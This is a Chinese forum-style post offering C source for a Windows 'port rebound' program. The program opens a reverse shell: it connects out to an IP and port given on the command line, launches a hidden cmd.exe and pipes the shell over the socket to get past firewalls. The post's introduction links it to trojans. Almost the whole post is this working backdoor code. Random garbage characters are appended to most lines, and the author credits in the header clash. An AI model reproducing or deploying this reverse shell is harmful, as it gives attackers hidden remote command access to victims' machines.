Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 2=X.$&a  
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/* ============================== zn5|ewl@"  
Rebound port in Windows NT >&Vz/0  
By wind,2006/7 JY$;m3h  
===============================*/ (_fovV=  
#include O66b^*=N}x  
#include _:!7M^IU  
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#pragma comment(lib,"wsock32.lib") ]m#*4  
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void OutputShell(); H1$n6J  
SOCKET sClient;  Bm&6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1}OM"V  
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void main(int argc,char **argv) 4 Z&KR<2Z  
{ Y$W)JWMY`  
WSADATA stWsaData; Z5[g[Q  
int nRet; 'v5q/l  
SOCKADDR_IN stSaiClient,stSaiServer; o>HGfr,N  
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if(argc != 3) mnU8i=v0A  
{ 0m4'm<2m  
printf("Useage:\n\rRebound DestIP DestPort\n"); b T** y?2  
return; RJdijj  
} ]aYuBoj  
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WSAStartup(MAKEWORD(2,2),&stWsaData); "lL/OmG  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~Sx\>wBlc  
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stSaiClient.sin_family = AF_INET; ]6,D9^{;  
stSaiClient.sin_port = htons(0); NdC5w-WY  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fm+V_.H/;  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n'!x"O7  
{ Qki
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printf("Bind Socket Failed!\n"); -cP1,>Ahv  
return; @IOl0db  
} z</^q
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stSaiServer.sin_family = AF_INET; ul!q)cPb{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $}=r45e0K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vILgM\or  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6Y9<| .  
{ Q<(aU{  
printf("Connect Error!"); GZm=>!T  
return; {d> 6*b  
} (t,mtdD#1  
OutputShell(); l)V646-O,~  
} 18]Q4s8E  
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void OutputShell() h;~NA}>  
{ -jVg{f!  
char szBuff[1024]; @2TfW]6  
SECURITY_ATTRIBUTES stSecurityAttributes; !(y(6u#  
OSVERSIONINFO stOsversionInfo; 7H4kj7UK  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AnpO?+\HF  
STARTUPINFO stStartupInfo; ,q$2D,dz  
char *szShell; >2NsBS(  
PROCESS_INFORMATION stProcessInformation; TV}=$\D  
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z2q!_ ~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @.pr}S/  
stSecurityAttributes.lpSecurityDescriptor = 0; &LQfs4}a,  
stSecurityAttributes.bInheritHandle = TRUE; &iT^IkA{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S5~(3I )v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s:I 8~Cc  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pt'=_^Io  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !"'@c  
stStartupInfo.wShowWindow = SW_HIDE; p$<){,R  
stStartupInfo.hStdInput = hReadPipe; &+GbklUB~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; biVsbxYurq  
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GetVersionEx(&stOsversionInfo); m*v@L4t(1  
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switch(stOsversionInfo.dwPlatformId) TBgiA}|\D  
{ mOFp!(  
case 1: WrR8TYq9D]  
szShell = "command.com"; f?"909&  
break; 8'u,}b)  
default: <XzRRCYQ  
szShell = "cmd.exe"; P5'VLnE R{  
break; vb`:  
} s*vtCdrE.  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #?~G\Ux0/  
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send(sClient,szMsg,77,0); P+,YWp  
while(1) EDg; s-T=  
{ !ce,^z&5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d/E0opv  
if(lBytesRead) =BzBM`
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{ 7s;*vd>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); axv-UdE;  
send(sClient,szBuff,lBytesRead,0); tz2$j@!=  
} mQ\oR|  
else a(x#6
  
{ +lJD7=%K]Z  
lBytesRead=recv(sClient,szBuff,1024,0); bWzUWLa  
if(lBytesRead<=0) break; u<HJFGLzI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Sbj{)  
} '@#l/9
 
} -i4hJC!3  
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return; yI's=Iu`  
}